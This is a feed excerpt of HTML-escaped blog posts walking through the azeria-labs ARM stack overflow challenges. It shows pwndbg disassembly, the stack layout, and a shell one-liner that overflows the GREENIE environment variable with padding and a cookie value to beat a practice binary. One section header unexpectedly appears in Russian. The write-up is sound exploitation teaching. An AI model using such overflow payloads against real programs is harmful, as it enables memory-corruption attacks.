&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x105f4:&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nf"&gt;GREENIE&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The value is stored in the stack, loaded from it and then compared with 0. In other words the program checks if &lt;code class="none"&gt;getenv&lt;/code&gt; returned &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; or not.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10500&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;str&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-8]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10504&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-8]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10508&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;36&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1050c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;bne&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;#main+56 &amp;lt;main+56&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="the-vulnerability"&gt;The vulnerability&lt;/h2&gt;
&lt;p&gt;Following the &lt;em&gt;taken&lt;/em&gt; branch we find the vulnerable &lt;code class="none"&gt;strcpy&lt;/code&gt; call that copies the content of the environment variable into a buffer in the stack.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;►&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1051c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10520&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;str&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-0xc]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10524&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x4c&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10528&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;68&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1052c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;72&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-8]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10530&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;76&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;#strcpy@plt &amp;lt;strcpy@plt&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This is the memory layout of the stack before the call to &lt;code class="none"&gt;strcpy&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="o"&gt;--&lt;/span&gt;
        &lt;span class="o"&gt;|&lt;/span&gt;   \&lt;span class="n"&gt;xee&lt;/span&gt;\&lt;span class="n"&gt;xee&lt;/span&gt;\&lt;span class="n"&gt;xee&lt;/span&gt;\&lt;span class="n"&gt;xee&lt;/span&gt;   &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;char&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;
        &lt;span class="o"&gt;|&lt;/span&gt;   \&lt;span class="n"&gt;xdd&lt;/span&gt;\&lt;span class="n"&gt;xdd&lt;/span&gt;\&lt;span class="n"&gt;xdd&lt;/span&gt;\&lt;span class="n"&gt;xdd&lt;/span&gt;   &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt; &lt;span class="n"&gt;argc&lt;/span&gt;
&lt;span class="n"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;----|--&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;AAAA&lt;/span&gt;
  &lt;span class="mh"&gt;0x50&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;   &lt;span class="n"&gt;BBBB&lt;/span&gt;
        &lt;span class="o"&gt;|&lt;/span&gt;   &lt;span class="n"&gt;CCCC&lt;/span&gt;
        &lt;span class="o"&gt;|&lt;/span&gt;   &lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="mi"&gt;13&lt;/span&gt; &lt;span class="n"&gt;more&lt;/span&gt; &lt;span class="n"&gt;rows&lt;/span&gt; &lt;span class="n"&gt;full&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;garbage&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;cookie&lt;/span&gt;&lt;span class="o"&gt;-----&amp;gt;&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;   &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;explicit&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="nb"&gt;set&lt;/span&gt;
&lt;span class="n"&gt;ptr&lt;/span&gt; &lt;span class="n"&gt;env&lt;/span&gt;&lt;span class="o"&gt;-|--&amp;gt;&lt;/span&gt;\&lt;span class="n"&gt;xcc&lt;/span&gt;\&lt;span class="n"&gt;xcc&lt;/span&gt;\&lt;span class="n"&gt;xcc&lt;/span&gt;\&lt;span class="n"&gt;xcc&lt;/span&gt;   &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;env_var&lt;/span&gt;
        &lt;span class="o"&gt;--&lt;/span&gt;
   &lt;span class="mh"&gt;0x8&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;   \&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;\&lt;span class="n"&gt;xbb&lt;/span&gt;   &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;fp&lt;/span&gt;
 &lt;span class="n"&gt;fp&lt;/span&gt; &lt;span class="o"&gt;----|--&amp;gt;&lt;/span&gt;\&lt;span class="n"&gt;xaa&lt;/span&gt;\&lt;span class="n"&gt;xaa&lt;/span&gt;\&lt;span class="n"&gt;xaa&lt;/span&gt;\&lt;span class="n"&gt;xaa&lt;/span&gt;   &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;lr&lt;/span&gt;
        &lt;span class="o"&gt;--&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;After the call the cookie is checked against 0x0d0a0d0a:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10534&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-0xc]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10538&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;84&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x34]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1053c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10540&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;92&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;bne&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;#main+108 &amp;lt;main+108&amp;gt;&lt;/span&gt;

&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="nv"&gt;wx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10574&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10574&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;144&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mh"&gt;0x0d0a0d0a&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Following the path if the branch is &lt;strong&gt;not&lt;/strong&gt; taken:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pdisass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;96&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;►&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10544&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;96&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x2c]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10548&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;#puts@plt &amp;lt;puts@plt&amp;gt;&lt;/span&gt;

&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1054c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;104&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;b&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;#main+124 &amp;lt;main+124&amp;gt;&lt;/span&gt;

&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="nv"&gt;wx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10578&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10578&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;148&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mh"&gt;0x0001062c&lt;/span&gt;

&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="nv"&gt;sb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x0001062c&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1062c:&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nf"&gt;you&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;have&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;correctly&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;modified&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;variable&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="the-solution"&gt;The solution&lt;/h2&gt;
&lt;p&gt;To win we need 0x40 bytes for padding and the cookie &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\n\r\n\r&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;GREENIE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-en&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n\r\n\r&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;./stack2
you&lt;span class="w"&gt; &lt;/span&gt;have&lt;span class="w"&gt; &lt;/span&gt;correctly&lt;span class="w"&gt; &lt;/span&gt;modified&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;variable
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/01/18/Smashing-ARM-Stack-for-Fun-Part-III.html" rel="alternate" type="text/html" title="Smashing ARM Stack for Fun - Part III"/>
    <category term="reversing" label="reversing"/>
    <category term="exploiting" label="exploiting"/>
    <category term="ARM" label="ARM"/>
    <category term="iasm" label="iasm"/>
    <category term="azeria-labs" label="azeria-labs"/>
    <published>2021-01-18T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/01/17/Smashing-ARM-Stack-for-Fun-Part-II.html</id>
    <title>Smashing ARM Stack for Fun - Part II</title>
    <updated>2021-01-17T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;This is going to be a fast moving post, directly to the details, about exploiting the &lt;a href="https://github.com/azeria-labs/ARM-challenges"&gt;second Arm challenge&lt;/a&gt;&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="распределение-стека"&gt;Распределение стека&lt;/h2&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;►&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104b0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nv"&gt;push&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;lr&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
